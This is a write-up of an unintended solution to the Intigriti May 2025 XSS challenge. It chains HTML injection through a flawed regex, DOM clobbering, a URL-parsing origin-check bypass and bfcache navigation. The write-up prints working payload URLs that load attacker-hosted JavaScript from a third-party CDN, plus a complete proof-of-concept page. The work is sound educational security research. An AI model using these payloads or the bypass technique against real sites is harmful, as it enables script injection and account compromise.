- Published on
Intigriti May Challenge 2025 by joaxcar
- Authors
- Name
- Romeo karki
- @Dr_Tomato1337
DOM clobbering + Origin Bypass + Bfcache to get XSS | Unintended Solution
🧩 Overview

This challenge combines four web exploitation techniques to achieve XSS:
- HTML Injection
- DOM Clobbering
- Origin check bypass
- BFCache to get XSS
Rules of the challenge :

UI of challenge:

JS files loaded:
- https://challenge-0525.intigriti.io/script.js
- https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js
1. HTML Injection – Regex Fault
Regex Misconfiguration
Regex fault: It checks if it ends with the allowed characters.
if (name && name.match(/([a-zA-Z0-9]+|\s)+$/)) { const messageDiv = document.getElementById('message'); const spinner = document.createElement('div'); spinner.classList.add('spinner'); messageDiv.appendChild(spinner);

Throught which we can get HTMLI .
https://challenge-0525.intigriti.io/index.html?name=a%22%3E%3Cimg%2Fsrc%3Dx%20onload=alert(1)%3Eb

Yet, XSS doesn’t trigger — DOMPurify is sanitizing the HTML.

Its latest version of DOMPurify

We can utilize this to clobber the DOM.
2. DOM Clobbering
Target to clobber:
const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"
To clobber this we can use this html injection
test<div/id="CONFIG_SRC"%20data-url=1337></div>test

3. Origin check bypass
To get our script URL to load we need to bypass origin check

To bypass this function
if(safeURL(src)){ const script = document.createElement('script'); script.src = new URL(src); document.head.appendChild(script); }
function safeURL(url){ let normalizedURL = new URL(url, location) return normalizedURL.origin === location.origin }
- https:xyz.com://abcd.com -> Yeids origin of abcd.com when New URL(x,location)
While,
- https:xyz.com://abcd.com -> Yeids origin of xyz.com when New URL(x)

Crafted Payload:
https:cdn.jsdelivr.net/gh/romiyokarkicodes/xss_lib@main/confetti.js%23://challenge-0525.intigriti.io
This bypasses the origin check and loads external JS from a third-party domain.
Combined Payload (So Far)
https://challenge-0525.intigriti.io/index.html?name=test%3Cdiv/id=%22CONFIG_SRC%22%20data-url=https:cdn.jsdelivr.net/gh/romiyokarkicodes/xss_lib@main/confetti.js%23://challenge-0525.intigriti.io%3E%3C/div%3Etest
Still no XSS — Why?
The script is loaded before our DOM clobbering takes effect:

window.CONFIG_SRC?.dataset["url"]
set to undefined .

I believe there are two possibilities: First, if we can somehow ensure that the function requestIdleCallback(addDynamicScript);
executes only after our injection takes place; Or second, we call this function again after our injection . I explored second one .

4. Bfcache to get XSS
Strategy
Load the vulnerable page with payload inside an
<iframe>.
Wait for the attacker page to be cached via BFCache which includes iframe too .
Programmatically go back using history.go(-1)
Unpause JS execution which leads to XSS because DOM is already in clobbered state with our injected script src.
We can use
window.onpageshow = function(event) { if (event.persisted) { history.go(-1); } };
To handle if page loaded from bfcache .
Final POC:
🎥 Final PoC
It first creates bunch of history URL and go back to finding cached one to get XSS .
<iframe
src="https://challenge-0525.intigriti.io/index.html?name=%3Cdiv/id=%22CONFIG_SRC%22+data-url=https:cdn.jsdelivr.net/gh/romiyokarkicodes/xss_lib@main/confetti.js%23://challenge-0525.intigriti.io%3E%3C/div%3E%3Cform%20id=%22observer%22%3E%3Cinput%20id=%22disconnect()%22/%3E%20%3C/form%3E%3Carticle%20id=%22innerWidth%22%3E%3C/article%3E%3Cimg%20src=%27test"></iframe>
<p><strong> </strong></p>
<p><strong>Wait to load ?id=10 and GET XSSED ! lol
</strong><br /><strong>Enjoy!</strong></p>
<script>
// Utility to wait for a given time (5 seconds)
function waitForTime(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
// Get query param value
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
// Main logic
(async function main() {
const id = parseInt(getQueryParam("id"), 10);
const direction = localStorage.getItem("direction");
await waitForTime(5000);
window.onpageshow = function(event) {
if (event.persisted) {
history.go(-1);
}
};
if (!localStorage.getItem("myCat")) {
// Move forward
if (id < 10) {
window.location.search = `?id=${id + 1}`;
} else if (id === 10) {
localStorage.setItem("myCat", "Tom");
localStorage.setItem("direction", "backward");
history.back();
}
} else {
// Move backward
if (direction === "backward" && id > 1) {
history.back();
} else if (id === 1) {
localStorage.removeItem("direction");
localStorage.removeItem("myCat");
// Optionally reload or stop here
console.log("Loop complete");
}
}
})();
</script>
<p><strong> </strong></p>
Reference:
https://web.dev/articles/bfcache?utm_source=devtools&utm_campaign=stable